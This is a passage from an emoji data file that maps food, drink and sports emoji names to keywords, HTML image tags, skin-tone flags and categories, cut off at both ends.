    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd5c" src="1f95c.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  honey_pot: {
    keywords: [ "bees", "sweet", "kitchen" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf6f" src="1f36f.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  croissant: {
    keywords: [ "food", "bread", "french" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd50" src="1f950.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  bread: {
    keywords: [ "food", "wheat", "breakfast", "toast" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf5e" src="1f35e.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  baguette_bread: {
    keywords: [ "food", "bread", "french" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd56" src="1f956.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  bagel: {
    keywords: [ "food", "bread", "bakery", "schmear" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd6f" src="1f96f.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  pretzel: {
    keywords: [ "food", "bread", "twisted" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd68" src="1f968.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  cheese: {
    keywords: [ "food", "chadder" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddc0" src="1f9c0.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  egg: {
    keywords: [ "food", "chicken", "breakfast" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd5a" src="1f95a.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  bacon: {
    keywords: [ "food", "breakfast", "pork", "pig", "meat" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd53" src="1f953.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  steak: {
    keywords: [ "food", "cow", "meat", "cut", "chop", "lambchop", "porkchop" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd69" src="1f969.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  pancakes: {
    keywords: [ "food", "breakfast", "flapjacks", "hotcakes" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd5e" src="1f95e.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  poultry_leg: {
    keywords: [ "food", "meat", "drumstick", "bird", "chicken", "turkey" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf57" src="1f357.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  meat_on_bone: {
    keywords: [ "good", "food", "drumstick" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf56" src="1f356.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  bone: {
    keywords: [ "skeleton" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddb4" src="1f9b4.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  fried_shrimp: {
    keywords: [ "food", "animal", "appetizer", "summer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf64" src="1f364.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  fried_egg: {
    keywords: [ "food", "breakfast", "kitchen", "egg" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf73" src="1f373.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  hamburger: {
    keywords: [ "meat", "fast food", "beef", "cheeseburger", "mcdonalds", "burger king" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf54" src="1f354.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  fries: {
    keywords: [ "chips", "snack", "fast food" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf5f" src="1f35f.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  stuffed_flatbread: {
    keywords: [ "food", "flatbread", "stuffed", "gyro" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd59" src="1f959.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  hotdog: {
    keywords: [ "food", "frankfurter" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf2d" src="1f32d.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  pizza: {
    keywords: [ "food", "party" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf55" src="1f355.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  sandwich: {
    keywords: [ "food", "lunch", "bread" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd6a" src="1f96a.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  canned_food: {
    keywords: [ "food", "soup" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd6b" src="1f96b.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  spaghetti: {
    keywords: [ "food", "italian", "noodle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf5d" src="1f35d.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  taco: {
    keywords: [ "food", "mexican" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf2e" src="1f32e.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  burrito: {
    keywords: [ "food", "mexican" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf2f" src="1f32f.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  green_salad: {
    keywords: [ "food", "healthy", "lettuce" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd57" src="1f957.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  shallow_pan_of_food: {
    keywords: [ "food", "cooking", "casserole", "paella" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd58" src="1f958.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  ramen: {
    keywords: [ "food", "japanese", "noodle", "chopsticks" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf5c" src="1f35c.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  stew: {
    keywords: [ "food", "meat", "soup" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf72" src="1f372.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  fish_cake: {
    keywords: [ "food", "japan", "sea", "beach", "narutomaki", "pink", "swirl", "kamaboko", "surimi", "ramen" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf65" src="1f365.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  fortune_cookie: {
    keywords: [ "food", "prophecy" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd60" src="1f960.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  sushi: {
    keywords: [ "food", "fish", "japanese", "rice" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf63" src="1f363.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  bento: {
    keywords: [ "food", "japanese", "box" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf71" src="1f371.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  curry: {
    keywords: [ "food", "spicy", "hot", "indian" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf5b" src="1f35b.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  rice_ball: {
    keywords: [ "food", "japanese" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf59" src="1f359.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  rice: {
    keywords: [ "food", "china", "asian" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf5a" src="1f35a.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  rice_cracker: {
    keywords: [ "food", "japanese" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf58" src="1f358.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  oden: {
    keywords: [ "food", "japanese" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf62" src="1f362.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  dango: {
    keywords: [ "food", "dessert", "sweet", "japanese", "barbecue", "meat" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf61" src="1f361.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  shaved_ice: {
    keywords: [ "hot", "dessert", "summer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf67" src="1f367.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  ice_cream: {
    keywords: [ "food", "hot", "dessert" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf68" src="1f368.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  icecream: {
    keywords: [ "food", "hot", "dessert", "summer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf66" src="1f366.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  pie: {
    keywords: [ "food", "dessert", "pastry" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd67" src="1f967.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  cake: {
    keywords: [ "food", "dessert" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf70" src="1f370.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  cupcake: {
    keywords: [ "food", "dessert", "bakery", "sweet" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddc1" src="1f9c1.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  moon_cake: {
    keywords: [ "food", "autumn" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd6e" src="1f96e.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  birthday: {
    keywords: [ "food", "dessert", "cake" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf82" src="1f382.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  custard: {
    keywords: [ "dessert", "food" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf6e" src="1f36e.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  candy: {
    keywords: [ "snack", "dessert", "sweet", "lolly" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf6c" src="1f36c.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  lollipop: {
    keywords: [ "food", "snack", "candy", "sweet" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf6d" src="1f36d.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  chocolate_bar: {
    keywords: [ "food", "snack", "dessert", "sweet" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf6b" src="1f36b.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  popcorn: {
    keywords: [ "food", "movie theater", "films", "snack" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf7f" src="1f37f.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  dumpling: {
    keywords: [ "food", "empanada", "pierogi", "potsticker" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd5f" src="1f95f.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  doughnut: {
    keywords: [ "food", "dessert", "snack", "sweet", "donut" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf69" src="1f369.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  cookie: {
    keywords: [ "food", "snack", "oreo", "chocolate", "sweet", "dessert" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf6a" src="1f36a.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  milk_glass: {
    keywords: [ "beverage", "drink", "cow" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd5b" src="1f95b.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  beer: {
    keywords: [ "relax", "beverage", "drink", "drunk", "party", "pub", "summer", "alcohol", "booze" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf7a" src="1f37a.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  beers: {
    keywords: [ "relax", "beverage", "drink", "drunk", "party", "pub", "summer", "alcohol", "booze" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf7b" src="1f37b.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  clinking_glasses: {
    keywords: [ "beverage", "drink", "party", "alcohol", "celebrate", "cheers", "wine", "champagne", "toast" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd42" src="1f942.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  wine_glass: {
    keywords: [ "drink", "beverage", "drunk", "alcohol", "booze" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf77" src="1f377.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  tumbler_glass: {
    keywords: [ "drink", "beverage", "drunk", "alcohol", "liquor", "booze", "bourbon", "scotch", "whisky", "glass", "shot" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd43" src="1f943.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  cocktail: {
    keywords: [ "drink", "drunk", "alcohol", "beverage", "booze", "mojito" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf78" src="1f378.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  tropical_drink: {
    keywords: [ "beverage", "cocktail", "summer", "beach", "alcohol", "booze", "mojito" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf79" src="1f379.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  champagne: {
    keywords: [ "drink", "wine", "bottle", "celebration" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf7e" src="1f37e.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  sake: {
    keywords: [ "wine", "drink", "drunk", "beverage", "japanese", "alcohol", "booze" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf76" src="1f376.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  tea: {
    keywords: [ "drink", "bowl", "breakfast", "green", "british" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf75" src="1f375.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  cup_with_straw: {
    keywords: [ "drink", "soda" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd64" src="1f964.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  coffee: {
    keywords: [ "beverage", "caffeine", "latte", "espresso" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2615" src="2615.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  baby_bottle: {
    keywords: [ "food", "container", "milk" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf7c" src="1f37c.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  salt: {
    keywords: [ "condiment", "shaker" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddc2" src="1f9c2.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  spoon: {
    keywords: [ "cutlery", "kitchen", "tableware" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd44" src="1f944.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  fork_and_knife: {
    keywords: [ "cutlery", "kitchen" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf74" src="1f374.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  plate_with_cutlery: {
    keywords: [ "food", "eat", "meal", "lunch", "dinner", "restaurant" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf7d" src="1f37d.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  bowl_with_spoon: {
    keywords: [ "food", "breakfast", "cereal", "oatmeal", "porridge" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd63" src="1f963.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  takeout_box: {
    keywords: [ "food", "leftovers" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd61" src="1f961.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  chopsticks: {
    keywords: [ "food" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd62" src="1f962.png"/>',
    fitzpatrick_scale: false,
    category: "food_and_drink"
  },
  soccer: {
    keywords: [ "sports", "football" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26bd" src="26bd.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  basketball: {
    keywords: [ "sports", "balls", "NBA" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc0" src="1f3c0.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  football: {
    keywords: [ "sports", "balls", "NFL" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc8" src="1f3c8.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  baseball: {
    keywords: [ "sports", "balls" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26be" src="26be.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  softball: {
    keywords: [ "sports", "balls" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd4e" src="1f94e.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  tennis: {
    keywords: [ "sports", "balls", "green" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfbe" src="1f3be.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  volleyball: {
    keywords: [ "sports", "balls" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd0" src="1f3d0.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  rugby_football: {
    keywords: [ "sports", "team" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc9" src="1f3c9.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  flying_disc: {
    keywords: [ "sports", "frisbee", "ultimate" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd4f" src="1f94f.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  "8ball": {
    keywords: [ "pool", "hobby", "game", "luck", "magic" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb1" src="1f3b1.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  golf: {
    keywords: [ "sports", "business", "flag", "hole", "summer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f3" src="26f3.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  golfing_woman: {
    keywords: [ "sports", "business", "woman", "female" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfcc\ufe0f\u200d\u2640\ufe0f" src="1f3cc-fe0f-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  golfing_man: {
    keywords: [ "sports", "business" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfcc" src="1f3cc.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  ping_pong: {
    keywords: [ "sports", "pingpong" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd3" src="1f3d3.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  badminton: {
    keywords: [ "sports" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff8" src="1f3f8.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  goal_net: {
    keywords: [ "sports" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd45" src="1f945.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  ice_hockey: {
    keywords: [ "sports" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd2" src="1f3d2.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  field_hockey: {
    keywords: [ "sports" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd1" src="1f3d1.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  lacrosse: {
    keywords: [ "sports", "ball", "stick" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd4d" src="1f94d.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  cricket: {
    keywords: [ "sports" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfcf" src="1f3cf.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  ski: {
    keywords: [ "sports", "winter", "cold", "snow" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfbf" src="1f3bf.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  skier: {
    keywords: [ "sports", "winter", "snow" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f7" src="26f7.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  snowboarder: {
    keywords: [ "sports", "winter" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc2" src="1f3c2.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  person_fencing: {
    keywords: [ "sports", "fencing", "sword" ],
